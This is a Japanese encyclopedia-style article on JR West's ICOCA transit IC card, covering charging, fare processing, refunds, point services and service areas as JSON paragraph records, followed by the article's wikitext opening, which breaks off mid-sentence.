"text": "また、以前はJR西日本管内のみどりの窓口で現金に加えてクレジットカードでのチャージも取り扱っていたが、2008年6月30日限りでみどりの窓口でのチャージの取扱いを中止し、一方でSMART ICOCAを一般クレジットカードに開放した。併せてICOCA定期券以外のクレジットカードでの購入取扱いも中止した。",
"title": "利用方法"
},
{
"paragraph_id": 55,
"tag": "p",
"text": "駅以外では、ICOCA電子マネーを導入しているイオングループ、ビックカメラグループ(いずれも一部を除く店舗)のICOCA電子マネー対応店舗と、エリア内の主要コンビニエンスストア(セブン-イレブン、ローソン、ファミリーマート、サークルKサンクス、ポプラなど)、ICOCA取り扱いのバス車内(近江鉄道バス、湖国バス、大阪バス、カナちゃんバス、くる梨、ごんごバス、おのみちバスを除く)、広島地区のPASPY取り扱いの電車・バス車内のほか、東日本地区のSuicaショッピングサービス、東海地区のTOICA電子マネー、九州地区のSUGOCA電子マネーなど、「全国相互利用サービス」対応の各IC乗車カード(PiTaPaを除く)での電子マネーサービスを導入しているコンビニエンスストア(NEWDAYS、ベルマート、ミニストップなど)でも、現金によるチャージを取り扱っている(コンビニエンスストアでは、一部取り扱わない店舗もある)。2018年10月15日よりセブン銀行ATMで、ICOCAなどの、交通系電子マネーの現金チャージや残高確認の取り扱いを開始した。",
"title": "利用方法"
},
{
"paragraph_id": 56,
"tag": "p",
"text": "鉄道での利用の場合、乗車駅で自動改札機のカード読み取り部にICOCAをタッチする。この時、カードには乗車駅や時刻などの情報が記録される。ICOCAが正確に認証された場合は電子音とともにゲートが開き、正確に認証されない場合、またはカードが使用できない場合は電子音や音声が鳴って即座にゲートが閉まるようになっている。ICOCAの残額が不足していたり、ICOCA定期券およびこどもICOCAの有効期限が近付いたりしている場合は通常と異なる電子音が鳴る。また、こどもICOCAが使用された場合は鳥の鳴き声の音が鳴る。下車駅では、乗車時と同じように自動改札機のカード読み取り部にICOCAをタッチする。この時、乗車時に記録された情報を元に運賃が計算され、チャージ金額から運賃分が引き去られる。なお、Suicaと異なり、ICOCAエリアでは入場時に初乗り運賃の引き去りを行わないため、残高が初乗り運賃未満でも入場は可能である(ただし、残高0円の場合は入場できない)。",
"title": "利用方法"
},
{
"paragraph_id": 57,
"tag": "p",
"text": "ICOCA定期券で定期区間の外を含む区間をICOCAで利用した場合は、降車時に定期外区間に相当する運賃が引き去られる。なお、定期区間を挟む利用を行った場合は「全区間の通し運賃」と「定期外区間の運賃の合算」のいずれか安い方で精算されることになっている。",
"title": "利用方法"
},
{
"paragraph_id": 58,
"tag": "p",
"text": "出場時にチャージ額の不足があった場合には、導入当初はのりこし精算機にて不足額の現金精算を行い、別途出場証(磁気券)を受け取って出場証で改札を通過するか、チャージ機で不足額を上回るように1000円単位でチャージする必要があったが、2015年10月1日よりICOCAに不足額(10円単位で切り上げ)を現金チャージした上で、そのまま入場時のICOCAで出場改札を通過する仕組みに変更された(ただし姫路駅の播但線・姫新線乗り継ぎ精算機、加古川駅の加古川線乗り継ぎ精算機、鶴橋駅の近鉄乗り継ぎ精算機、新大阪駅の新幹線乗り継ぎ精算機は不足額チャージ不可。また、他の乗車券やオレンジカードで精算する場合は従来通り出場証が発行される)。",
"title": "利用方法"
},
{
"paragraph_id": 59,
"tag": "p",
"text": "普通列車に車載型IC改札機を設置している路線(七尾線 津幡駅 - 七尾駅間・関西本線 亀山駅 - 加茂駅間・和歌山線・紀勢本線(きのくに線)・境線)では、乗車時に入口横の「乗車」用IC改札機にタッチし、降車時に運転台後ろまたは運賃箱の「降車」用IC改札機にタッチして下車する。七尾線・和歌山線・紀勢本線(きのくに線)では、車内運賃箱での現金チャージに対応する(前述)が、関西本線・境線では列車内でのチャージに対応していないため、残高不足の場合は乗務員が入場記録を取り消した上で現金精算する必要がある。なお、七尾線 七尾駅 - 和倉温泉駅間は普通列車がのと鉄道の列車のみであることから、普通列車ではICOCAでの利用に対応しない。",
"title": "利用方法"
},
{
"paragraph_id": 60,
"tag": "p",
"text": "ICOCAのみを用いての新幹線の乗車はできないが、ICOCAエリア内の在来線から山陽新幹線・東海道新幹線(JR東海)・北陸新幹線へ乗り換える際に、新幹線乗換口の自動改札機でそれまで乗車した在来線運賃の精算ができる。最初に新幹線乗車券を挿入口に入れ、続いて在来線の乗車に使用したICOCAをカード読み取り部にタッチすると自動的に精算が完了し、改札機を通過できる。東海道・山陽新幹線の会員制ネット予約サービス「エクスプレス予約」のEX-ICサービスや東海道新幹線の会員制ネット予約サービス「プラスEX」で列車を予約している場合は、EX-ICカード(プラスEXカード)とICOCAを2枚重ねでカード読み取り部にタッチすると精算が完了し改札機を通過することができる。北陸新幹線との連絡改札で「モバイルSuica特急券」とICOCAを2枚重ねでカード読み取り部にタッチして通過することはできない。",
"title": "利用方法"
},
{
"paragraph_id": 61,
"tag": "p",
"text": "2009年8月29日より、山陽新幹線全線にEX-ICサービスが導入されたことで、ICOCAエリア内にある山陽新幹線各駅の新幹線乗換口でも、ICOCAを用いての在来線から新幹線への乗り継ぎが可能になった。",
"title": "利用方法"
},
{
"paragraph_id": 62,
"tag": "p",
"text": "2011年3月12日からは、JR九州在来線と接続する小倉駅・博多駅両駅の新幹線乗換口でもSUGOCAおよびSUGOCAと相互利用しているICOCAなどのカードでの精算、記録が可能となった。",
"title": "利用方法"
},
{
"paragraph_id": 63,
"tag": "p",
"text": "",
"title": "利用方法"
},
{
"paragraph_id": 64,
"tag": "p",
"text": "JR西日本・近鉄と他社路線を共同利用駅を経由して連続乗車する場合(ICOCAエリア同士の乗り継ぎとなるJR西日本⇔近鉄の乗り継ぎを含む)、乗換口がある駅(乗換口に自動改札機がある駅)と乗換口がない駅で取扱いが異なる。",
"title": "利用方法"
},
{
"paragraph_id": 65,
"tag": "p",
"text": "ICOCAは、最後の利用日から10年間利用がない場合でJR西日本が特に定めた場合は失効となり、チャージ金額およびデポジットの返却は行われない。",
"title": "利用方法"
},
{
"paragraph_id": 66,
"tag": "p",
"text": "こどもICOCAの有効期限は、使用者が12歳となる年度の3月31日と定められており、期限を過ぎたカードはチャージ金額が残っていても使用できなくなる。この場合は、みどりの窓口にカードを返却するとチャージ金額、およびデポジットが手数料なしで払い戻される(10円未満は10円単位に切り上げ)。",
"title": "利用方法"
},
{
"paragraph_id": 67,
"tag": "p",
"text": "こどもICOCA・SMART ICOCA・ICOCA定期券・こどもICOCA定期券・SMART ICOCA定期券・KIPS ICOCAカードは、カードを紛失した際でも、所有者本人であることが証明できる書類があれば再発行が可能である。また、SMART ICOCA・SMART ICOCA定期券では専用電話(紛失ダイヤル、24時間・年中無休)での本人確認と再発行も行われている。ただし、再発行には再発行手数料510円とデポジット500円の合計1,010円を、現金で(SMART ICOCA紛失ダイヤルでは、紐付けされたクレジットカードで)支払う必要がある。",
"title": "利用方法"
},
{
"paragraph_id": 68,
"tag": "p",
"text": "これとは別に、手元にカードはあるものの、破損や障害等で使用できない場合(故意の破損や番号が判別できないものを除く)は、カード(上記以外の記名式でないICOCAを含む)を各発行会社の取扱窓口に持参すると、手数料・デポジット共に無料で再発行され、翌日から14日以内に受け取れる。紛失、破損・障害共に、チャージ金額は引き継がれる。",
"title": "利用方法"
},
{
"paragraph_id": 69,
"tag": "p",
"text": "再発行および払い戻しは各発行会社で行う。ただし記名式でない大人用ICOCAやこどもICOCAはICOCA取扱事業者であればどの社局でも払い戻しのみ可能である(ただし、こどもICOCAはJR四国では払い戻しできない)。またICOCA定期券・こどもICOCA定期券は定期券の有効期限が切れた後も個人情報が会社ごとに残っているため、最後に定期券・こどもICOCAを購入した社局の窓口でのみ対応し、他社局に持ち込んでも取り扱ってもらえない。",
"title": "利用方法"
},
{
"paragraph_id": 70,
"tag": "p",
"text": "事前の利用登録は不要。",
"title": "割引サービス"
},
{
"paragraph_id": 71,
"tag": "p",
"text": "JR西日本の許諾を受けて独自に運営されている割引サービス。山陰地方のバス2社(石見交通、イワミツアー)では、ICOCAによるSF乗車で割引サービスを実施している。事前の利用登録は不要。",
"title": "割引サービス"
},
{
"paragraph_id": 72,
"tag": "p",
"text": "ポイントサービスは2種類に大別できる。それぞれ事前の利用登録が必要。",
"title": "ポイントサービス"
},
{
"paragraph_id": 73,
"tag": "p",
"text": "この他、KIPS ICOCAでの近鉄線利用でKIPSポイントがたまる。",
"title": "ポイントサービス"
},
{
"paragraph_id": 74,
"tag": "p",
"text": "JR西日本並びに近江鉄道グループバス2者(近江鉄道、湖国バス)、中国地方のバス5者(日本交通 (鳥取県) 、日ノ丸自動車、松江市交通局、一畑バス、防長交通)では、ICOCAによるSF乗車でポイントがたまるサービスを実施している。事前の利用登録が必要。",
"title": "ポイントサービス"
},
{
"paragraph_id": 75,
"tag": "p",
"text": "2018年10月1日にJR西日本が京阪神地区で導入した「ICOCAポイント」を2023年3月7日にJ-WESTポイントと統合し、JR西日本グループ共通の「WESTERポイント」となる。",
"title": "ポイントサービス"
},
{
"paragraph_id": 76,
"tag": "p",
"text": "また、SMART ICOCA(J-WESTカード決済に限る)ではクイックチャージでポイントがたまる(2023年3月6日まではJ-WESTポイント)。",
"title": "ポイントサービス"
},
{
"paragraph_id": 77,
"tag": "p",
"text": "JR西日本の鉄道利用においては、他社で導入されているような「一定利用額以上に対して定率還元」ではなく「指定区間・同一区間での複数回利用に対して還元」される仕組みになっているが、これはサービスイン直前まで京阪神地区で発売されていた「昼間特割きっぷ」の代替となるサービスを含めているためであり、時間帯指定ポイントの指定区間も「昼間特割きっぷ」の発売区間とほぼ同一となっている。",
"title": "ポイントサービス"
},
{
"paragraph_id": 78,
"tag": "p",
"text": "近畿(三重県を除く)、北陸、中国、四国地方のICOCA加盟店におけるICOCA電子マネーの買い物利用でWESTERポイントが貯まるサービス。購入額200円に対して1ポイントが貯まる。",
"title": "ポイントサービス"
},
{
"paragraph_id": 79,
"tag": "p",
"text": "JR西日本の許諾を受けて独自に運営されているポイントサービス。それぞれサービスごとに事前の利用登録が必要。ただし、阪急阪神HDの鉄道4社(阪神、山陽、阪急、能勢電)はいずれか1社を利用登録すれば他3社にも適用される。",
"title": "ポイントサービス"
},
{
"paragraph_id": 80,
"tag": "p",
"text": "京阪バスが2017年にICOCA発行元であるJR西日本の許諾を取り付け、取扱事業者が独自に展開するポイントサービスという新たな道を開拓。それを皮切りに現在では近畿地方のJR西日本以外の鉄道・バスで独自にポイントを付与するサービスが拡がっている。",
"title": "ポイントサービス"
},
{
"paragraph_id": 81,
"tag": "p",
"text": "なお、下記各社でもポイントサービスを実施しているが、付与されたポイントをICOCAにチャージすることはできない。",
"title": "ポイントサービス"
},
{
"paragraph_id": 82,
"tag": "p",
"text": "他社ICカードとの相互利用については後述する。",
"title": "利用可能エリア"
},
{
"paragraph_id": 83,
"tag": "p",
"text": "ICOCA定期券による「新幹線乗車サービス」を除きICOCA単独での新幹線への乗車はできないが、新幹線駅の乗り換え改札口では、東海道・山陽新幹線でのチケットレスサービス「EX-ICサービス」との連携により、ICOCAとの組み合わせで新幹線と在来線の乗り継ぎができるようになった。",
"title": "利用可能エリア"
},
{
"paragraph_id": 84,
"tag": "p",
"text": "JR西日本とJR四国の二社相互、JR西日本・あいの風とやま鉄道・IRいしかわ鉄道の三社相互に跨っての連続利用が可能。ただし、1回での利用範囲には制限がありこれを超える場合は別途精算が必要になる。",
"title": "利用可能エリア"
},
{
"paragraph_id": 85,
"tag": "p",
"text": "近畿圏においては大阪近郊区間やアーバンネットワークとは完全には一致していない(大阪近郊区間でもICOCAエリアに含まれない区間がある。後述参照)。",
"title": "利用可能エリア"
},
{
"paragraph_id": 86,
"tag": "p",
"text": "†を記した区間はPiTaPaポストペイサービス(2018年10月1日サービス開始)の対象区間。",
"title": "利用可能エリア"
},
{
"paragraph_id": 87,
"tag": "p",
"text": "以下は2023年4月1日現在のエリア。",
"title": "利用可能エリア"
},
{
"paragraph_id": 88,
"tag": "p",
"text": "なお、宮島連絡船(子会社のJR西日本宮島フェリーが運行)は2023年9月13日からICOCAとPASPYの併用導入となったが、カードリーダーはICOCA用とPASPY用で別に設置している。なお、2023年9月12日までは、PASPYのみを導入しており、交通系ICカード全国相互利用サービスによりICOCAが利用可能となっていた。",
"title": "利用可能エリア"
},
{
"paragraph_id": 89,
"tag": "p",
"text": "同社が発行・導入しているecomycaおよび富山ライトレール時代に発行していたpasscaと併用導入であるが、カードリーダーはICOCA用とecomyca・passca用で別に設置している。",
"title": "利用可能エリア"
},
{
"paragraph_id": 90,
"tag": "p",
"text": "なお、生駒鋼索線(生駒ケーブル)や葛城索道線(葛城山ロープウェイ)ではPiTaPaを含めたICカードそのものが使えない。",
"title": "利用可能エリア"
},
{
"paragraph_id": 91,
"tag": "p",
"text": "同社の路線は2015年に近鉄から移管されたが、移管前の近鉄時代はICカードの利用は出来なかった。",
"title": "利用可能エリア"
},
{
"paragraph_id": 92,
"tag": "p",
"text": "以下の鉄道事業者では、IC乗車券としての利用には対応していないが、駅窓口・券売機などが交通系ICカードでの決済に対応しており、交通系ICカードを使って乗車券を購入することで利用ができる。ただし、ICOCA電子マネーによる決済となることもあり、PiTaPaは利用できない。",
"title": "利用可能エリア"
},
{
"paragraph_id": 93,
"tag": "p",
"text": "以下のバス事業者ではシステム上では大阪バス扱いで簡易端末での対応となる。ただし、ICOCAは発売しない(北海道内ではJR北海道がKitaca、函館市企業局交通部(函館市電)・函館バスがICAS nimocaを発売しており、交通系ICカード全国相互利用サービスにより利用可能。ただし、SAPICAは利用できない)。",
"title": "利用可能エリア"
},
{
"paragraph_id": 94,
"tag": "p",
"text": "以下のバス事業者では、IC乗車券としての利用には対応していないが、バス窓口・バス券売機などが交通系ICカードでの決済に対応しており、交通系ICカードを使って乗車券を購入することで利用ができる。ただし、ICOCA電子マネーによる決済となることもあり、PiTaPaショッピングサービスと併用する社局を除き、PiTaPaは利用できない。",
"title": "利用可能エリア"
},
{
"paragraph_id": 95,
"tag": "p",
"text": "宮島航路(JR西日本宮島フェリー・宮島松大汽船)では、両社とも乗船前に桟橋改札口のICOCA自動改札機または有人改札のICOCAカードリーダーにタッチすることで利用可能。",
"title": "利用可能エリア"
},
{
"paragraph_id": 96,
"tag": "p",
"text": "宮島口桟橋は2023年10月1日の宮島訪問税徴収開始に先立ち、同年9月13日にICOCAの自動改札機が導入されたため、PASPYを利用する際および障がい者手帳・課税対象外証明書・1年分一時納付証明書を使用してICOCAを利用する際は両社とも有人改札のカードリーダーで対応している。カードリーダーはICOCA用とPASPY用で別に設置している。なお、自動改札機導入以前のJR西日本宮島フェリーは、乗下船とも宮島桟橋で改札を行い宮島口桟橋では改札を行っていなかった。",
"title": "利用可能エリア"
},
{
"paragraph_id": 97,
"tag": "p",
"text": "以下の船舶事業者では、IC乗車券としての利用には対応していないが、港窓口・券売機などが交通系ICカードでの決済に対応しており、交通系ICカードを使って乗車券を購入することで利用ができる。ただし、ICOCA電子マネーによる決済となることもあり、PiTaPaは利用できない。",
"title": "利用可能エリア"
},
{
"paragraph_id": 98,
"tag": "p",
"text": "京阪電気鉄道・近畿日本鉄道以外で以下のPiTaPaも取り扱う社局では、2017年から順次ICOCAおよびICOCA定期券の販売を開始した。いずれもPiTaPaを先行導入している社局においてICOCAを併売するもので、原則として定期券販売箇所(窓口または券売機)で販売する。特記がない場合、各社局とも全線・全区間で利用可能。",
"title": "利用可能エリア"
},
{
"paragraph_id": 99,
"tag": "p",
"text": "SMART ICOCAの列車利用ポイント(J-WESTポイント→WESTERポイント)はJR四国を含む全区間が付与対象。ただしストアードフェア(SF)による自動券売機でのきっぷの購入や定期旅客運賃、定期券の区間内利用は付与対象外。また、他社利用分や自動券売機でのきっぷの購入金額部分は付与対象外。",
"title": "利用可能エリア"
},
{
"paragraph_id": 100,
"tag": "p",
"text": "2018年9月14日まではJR西日本のエリアは「近畿圏エリア」と「岡山・広島・山陰・香川エリア」と「石川・富山エリア」に分かれており、エリアをまたがっての利用は出来なかったが、2018年9月15日のエリア拡大の際に一体化されている。",
"title": "利用可能エリア"
},
{
"paragraph_id": 101,
"tag": "p",
"text": "近畿圏エリア(PiTaPaポストペイサービス対象エリアと播但線・姫新線・紀勢本線のエリアが対象)については割愛する。",
"title": "利用可能エリア"
},
{
"paragraph_id": 102,
"tag": "p",
"text": "SMART ICOCAの列車利用ポイント(J-WESTポイント→WESTERポイント)はJR四国を含む全区間が付与対象。ただしストアードフェア(SF)による自動券売機でのきっぷの購入や定期旅客運賃、定期券の区間内利用は付与対象外。",
"title": "利用可能エリア"
},
{
"paragraph_id": 103,
"tag": "p",
"text": "岡山・広島・山陰・香川エリアは「岡山・福山地区」、「広島地区」、「松江・米子・伯備地区」、「香川地区」に地区分けされており、各地区内での利用および「岡山・福山地区」と隣接地区同士の地区を跨っての利用のみが可能であった。",
"title": "利用可能エリア"
},
{
"paragraph_id": 104,
"tag": "p",
"text": "2015年3月26日よりあいの風とやま鉄道の一部(「富山エリア」)で利用を開始し、2017年4月15日にJR西日本・IRいしかわ鉄道・あいの風とやま鉄道の3社に跨った「石川・富山エリア」に利用範囲が拡大された。SMART ICOCAの列車利用ポイント(J-WESTポイント→WESTERポイント)は全区間が付与対象。ただしストアードフェア(SF)による自動券売機でのきっぷの購入や定期旅客運賃、定期券の区間内利用は付与対象外。",
"title": "利用可能エリア"
},
{
"paragraph_id": 105,
"tag": "p",
"text": "なお、2018年9月15日のエリア一体化後も、北陸本線以外の金沢・富山エリアとその他のエリアとの連続利用はできない。",
"title": "利用可能エリア"
},
{
"paragraph_id": 106,
"tag": "p",
"text": "ICOCA(相互利用可能なICカードを含む)でJR西日本のICOCAエリア内を連続乗車できる区間は、原則として「営業キロ200km以内」とされており、エリア内であってもこれを超える連続乗車はできない。ただし、以下の条件に合致する場合は200kmを超える連続乗車が可能となる。",
"title": "利用可能エリア"
},
{
"paragraph_id": 107,
"tag": "p",
"text": "IRいしかわ鉄道線・あいの風とやま鉄道線を区間に含む場合、営業キロに関係なく北陸本線大聖寺駅を超えて西側とのSF利用による連続乗車はできない(特急「サンダーバード」で七尾線内の駅を発着する場合も同様)。",
"title": "利用可能エリア"
},
{
"paragraph_id": 108,
"tag": "p",
"text": "また、ICOCAでのと鉄道が運行する七尾線 七尾駅 - 和倉温泉駅間の普通列車に乗車することは出来ない。",
"title": "利用可能エリア"
},
{
"paragraph_id": 109,
"tag": "p",
"text": "TOICAエリアとは亀山駅および米原駅で、SUGOCAエリアとは下関駅で連続しているが、それぞれの駅を跨いでICOCAエリアとTOICAエリアまたはSUGOCAエリアとのSF利用による連続乗車はできない(ICOCAエリアとTOICAエリアまたはSUGOCAエリアを跨ぐIC定期券は発行される)。",
"title": "利用可能エリア"
},
{
"paragraph_id": 110,
"tag": "p",
"text": "ICOCA利用可能エリアでICOCAのカード残額を利用して乗車した場合、乗車経路ならびに大都市近郊区間内外を問わず、運賃が最も安くなる経路で精算される。下記の区間はICOCAのカード残額を利用して乗車した際の「最も安くなる経路」に含めることができるが、ICOCA利用可能エリアに含まれないため、この区間を実際にICOCAのカード残額で乗車することはできない。これは福岡近郊区間で利用可能エリア外を通過利用できるSUGOCAとは取り扱いが異なっている。",
"title": "利用可能エリア"
},
{
"paragraph_id": 111,
"tag": "p",
"text": "Suica、TOICA、SUGOCAなどの他のICカードと同様に、SF利用では途中下車や各種割引などの対象外となる。",
"title": "利用可能エリア"
},
{
"paragraph_id": 112,
"tag": "p",
"text": "2004年8月1日にSuicaとの相互利用を開始し、2013年3月23日にはPASMOなどの全国10種のICカードの相互利用を開始するなど、それ以降相互利用可能エリアは拡大している。",
"title": "利用可能エリア"
},
{
"paragraph_id": 113,
"tag": "p",
"text": "他社との連絡定期券としては2010年5月に京阪電気鉄道とのICOCA連絡定期券の発売が(JR西日本のICOCAエリアの各駅で販売)、2011年6月1日より、京阪での発売が(京阪線内定期・JR西日本線連絡定期も:大津線系統の各駅は、ICOCAの発売・定期券の利用範囲から除く)開始され、2012年12月1日より近鉄でもICOCA(近鉄グループのポイントカード機能付の「KIPS ICOCAカード」も)とICOCA定期券(近鉄線内定期およびJR西日本・京阪・阪神各社との連絡定期券、「近鉄 - JR西日本 - 近鉄」通過定期券)の発売を開始し、その後、近鉄とJR東海・南海・名鉄各社との連絡定期券も発売を開始した。",
"title": "利用可能エリア"
},
{
"paragraph_id": 114,
"tag": "p",
"text": "関西の私鉄の各駅で発売されるICOCAについては、JR西日本の各駅で発売されているものと同じ仕様(表面のデザイン・裏面の表記とも)のものとなっており、裏面の記載番号についても「JW」より始まるものとなっている(近鉄で発売されるKIPS ICOCA、あいの風とやま鉄道のAinokaze ICOCAでも同様である)。",
"title": "利用可能エリア"
},
{
"paragraph_id": 115,
"tag": "p",
"text": "JR四国では、2012年3月17日に本四備讃線と高松駅・坂出駅でICOCAが導入された。同社ではICカード初導入である。",
"title": "利用可能エリア"
},
{
"paragraph_id": 116,
"tag": "p",
"text": "完全な相互利用ではないが、広島のスカイレールサービスでは、2013年1月にICOCAを利用可能とした新たな自動改札システムの運用を開始した。一般的な入退場管理システムをベースとしたもので、同社の定期券と回数券に限りICOCAに搭載して利用することができる。",
"title": "利用可能エリア"
},
{
"paragraph_id": 117,
"tag": "p",
"text": "以下のカードは、交通系ICカード全国相互利用サービスにより各カードエリアでのICOCA利用および各カードでのICOCAエリア利用が可能となっている。各エリア内でのチャージは、それぞれのカード対応の自動券売機、自動精算機、簡易入金機で可能である。なお、一部の事業者が発行している特割用カードは相互利用の対象となっていない。",
"title": "他カードとの相互利用・片利用"
},
{
"paragraph_id": 118,
"tag": "p",
"text": "一方、以下のカードは、ICOCAを当該ICカードのエリアで利用することはできるが、当該ICカードをICOCAエリアで利用することはできない。",
"title": "他カードとの相互利用・片利用"
},
{
"paragraph_id": 119,
"tag": "p",
"text": "滋賀県の甲賀市が2017年3月からJR西日本草津線の利用促進を目的に子育て世帯や生活困窮家庭などに対し無料配布したオリジナルデザインICOCAがインターネットオークションに出品され、1枚当たり6万円で落札されていたことが判明した。市では「配布の趣旨を逸脱した行為である」として、適切な利用を呼び掛けている。",
"title": "ICOCAを巡る出来事"
},
{
"paragraph_id": 120,
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"text": "2003年6月28日から7月26日まで京阪神の主要駅の一部でICOCAモニターテストが行われた。正式導入前であくまでもテストなので、1,000名限定の募集となった。",
"title": "ICOCAを巡る出来事"
}
]
| ICOCA(イコカ)は、西日本旅客鉄道(JR西日本)が発行し、JR西日本およびその他取扱事業者で発売されるサイバネ規格のICカード乗車券である。 | {{pp-vandalism|small=yes}}
{{Infobox electronic payment
| box_width = 300px
| name = ICOCA
| other_name = イコカ
| native_name =
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| color = 00FFFF
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| caption = 2013年11月から発行されている新デザインのICOCA
| location= JR西日本エリアを中心とした全国
| launched = 2003年
| service_1 = [[西日本旅客鉄道]]
| service_2 = [[四国旅客鉄道]]
| service_3 = [[あいの風とやま鉄道]]
| service_4 = [[IRいしかわ鉄道]]
| service_5 = 近畿地方・中国地方の鉄道・バス事業者等
| sales_location_1 = 自動券売機
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| sales_location_3 =
| sales_location_4 =
| currency = 日本円
| stored_value = あり
| credit_expiry = 最終利用日から10年
| maximum_credit = 20,000円
| unlimited_use =
| variant_1 = SMART ICOCA
| variant_2 = 学生証・社員証
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| technology_1= [[FeliCa]], [[近距離無線通信|NFC]]
| manager= JR西日本
| homepage= https://www.jr-odekake.net/icoca/
}}
'''ICOCA'''(イコカ)は、[[西日本旅客鉄道]](JR西日本)が発行し、JR西日本および[[#取扱事業者一覧|その他取扱事業者]]で発売される[[日本鉄道技術協会|サイバネ規格]]の[[ICカード]][[乗車券]]である。
== 概要 ==
[[ソニー]]の非接触型ICカード[[FeliCa]]の技術を用いた[[乗車カード]]で、プリペイド方式の乗車券の機能をはじめ、[[定期乗車券|定期券]]、駅売店等での支払いに使える[[ICOCA電子マネー]]の機能を併せ持つカードである。カードで利用できる金額は、駅などに設置されたチャージ機などでチャージ(入金)することにより追加ができ、使い捨てることなく繰り返してカードを使用できる。
[[2001年]][[5月15日]]の社長定例会見において、定期券や磁気式ストアードフェアカードである[[Jスルーカード]]を[[2003年]]をめどにIC化を検討することを発表し<ref name="20010515_JRW">[https://web.archive.org/web/20011109123526/www.westjr.co.jp/news/k010515.html 5月定例会見] ([[インターネットアーカイブ]]) - 西日本旅客鉄道プレスリリース 2001年5月15日</ref>、2002年12月18日の社長定例会見において、正式名称をICOCA(イコカ)とすることを発表した<ref name="20021218_JRW">[https://web.archive.org/web/20030201183010/www.westjr.co.jp/news/k021218.html 12月定例会見] (インターネット・アーカイブ) - 西日本旅客鉄道プレスリリース 2002年12月18日</ref>。2003年6月27日付けで商標登録(第4685722号)がなされている。
カードの名称は、ICオペレーティングカード ('''IC O'''perating '''CA'''rd) の略称であるが、[[近畿方言|関西方言]]の「行こか」(「行こうか」の意味)にも掛けている。また、カードの裏面の右下に記載の番号は「'''JW'''」で始まる17桁の英数字であるが、この「JW」はJR西日本の英語表記「'''J'''R '''W'''est」の頭文字を採ったものである。
[[2003年]][[11月1日]]からJR西日本の[[アーバンネットワーク]]([[京阪神]]地区)の駅で運用が開始された。全国の[[交通系ICカード全国相互利用サービス|主要な交通系ICカード]]の中では[[2001年]]に開始した[[東日本旅客鉄道|JR東日本]]の[[Suica]]に次ぐ導入であった。その後はJR西日本エリア内の[[中国地方]]や[[北陸地方]]にもエリアを拡大し、[[2013年]]には[[交通系ICカード全国相互利用サービス]]が開始された。またエリアの拡大によって[[2018年]]9月15日にICOCAの自社内エリアがつながった。JR西日本の各駅では、ICOCAの[[自動改札機]]での利用率も半数を超えている事から、ICOCA専用改札機が[[大阪駅]]御堂筋口で初設置され、その後も[[京橋駅 (大阪府)|京橋駅]]や[[天王寺駅]]をはじめ、[[関西]]の多くの駅に設置されている。
JR西日本でのICOCAの発行枚数は、サービス開始の2003年11月から5か月余りで100万枚を突破した。その後、[[2014年]]11月には累計発行枚数が1,000万枚を突破<ref name="release20141104">{{Cite press release|和書|url=http://www.westjr.co.jp/press/article/2014/11/page_6383.html |title=おかげさまでICOCAが累計発行枚数1,000万枚を突破しました!!|publisher=西日本旅客鉄道|date=2014年11月4日|accessdate=2014年11月7日}}</ref>、[[2019年]]3月には累計発行枚数が2,000万枚<ref name="release20190306">{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/2019/03/page_13926.html |title=発行枚数2,000万枚突破記念キャンペーンについて|publisher=西日本旅客鉄道|date=2019年3月6日|accessdate=2019年3月6日}}</ref>、2021年10月時点で2,500万枚<ref name=":5">{{Cite web|和書|title=関西のICカード「ピタパ」後払いが特徴 割引充実 |url=https://www.nikkei.com/article/DGXZQOUF1339A0T10C21A9000000/ |website=日本経済新聞 |date=2021-10-02 |access-date=2022-12-13 |language=ja}}</ref>、2023年6月末時点で2,900万枚に達している<ref>{{Cite web|和書|title=おかげさまで『ICOCAは20周年』を迎えます!~みなさまと、これからも~|ニュースリリース|ジェイアール西日本デイリーサービスネット |url=https://www.dailyservice.co.jp/news/%E3%81%8A%E3%81%8B%E3%81%92%E3%81%95%E3%81%BE%E3%81%A7%E3%80%8EICOCA%E3%81%AF20%E5%91%A8%E5%B9%B4%E3%80%8F%E3%82%92%E8%BF%8E%E3%81%88%E3%81%BE%E3%81%99%EF%BC%81%EF%BD%9E%E3%81%BF%E3%81%AA%E3%81%95%E3%81%BE%E3%81%A8%E3%80%81%E3%81%93%E3%82%8C%E3%81%8B%E3%82%89%E3%82%82%EF%BD%9E.html |website=ジェイアール西日本デイリーサービスネット |access-date=2023-09-11 |language=ja}}</ref>。交通系ICカードの中では約8700万枚発行の[[Suica]]<ref>{{Cite web|和書|title=「Suica」20周年、発行枚数8759万枚…東京駅に記念グッズ展示 |url=https://www.yomiuri.co.jp/economy/20211118-OYT1T50150/ |website=読売新聞オンライン |date=2021-11-18 |access-date=2022-12-13 |language=ja}}</ref>、約4000万枚の[[PASMO]]に次ぐ発行枚数を誇る<ref>{{Cite web|和書|title=「モバイルPASMO」の実現までに13年もの歳月がかかった裏事情 |url=https://japan.cnet.com/article/35160613/ |website=CNET Japan |date=2020-10-08 |access-date=2022-12-13 |language=ja}}</ref>。[[四国旅客鉄道|JR四国]]や、[[PiTaPa]]発行事業者である[[関西私鉄]]や[[大阪市高速電気軌道|Osaka Metro]]等にも導入されている。JRが他社の交通系ICカードを導入している唯一の事例である。
[[2023年]]には[[スマートフォン]]向けの「[[モバイルICOCA]]」のサービスを開始した。モバイル端末向けの交通系ICカードサービスは、[[モバイルSuica]]、[[モバイルPASMO]]に次ぐ3例目である。
=== 電子マネー ===
{{main|ICOCA電子マネー}}
ICOCAを使用した[[電子マネー]]サービス「[[ICOCA電子マネー]]」については、[[2005年]][[10月1日]]から開始し、[[京阪神]](関西エリア)や岡山・広島エリアの駅、福岡エリアの一部の駅([[山陽新幹線]]の[[博多駅]]、[[小倉駅 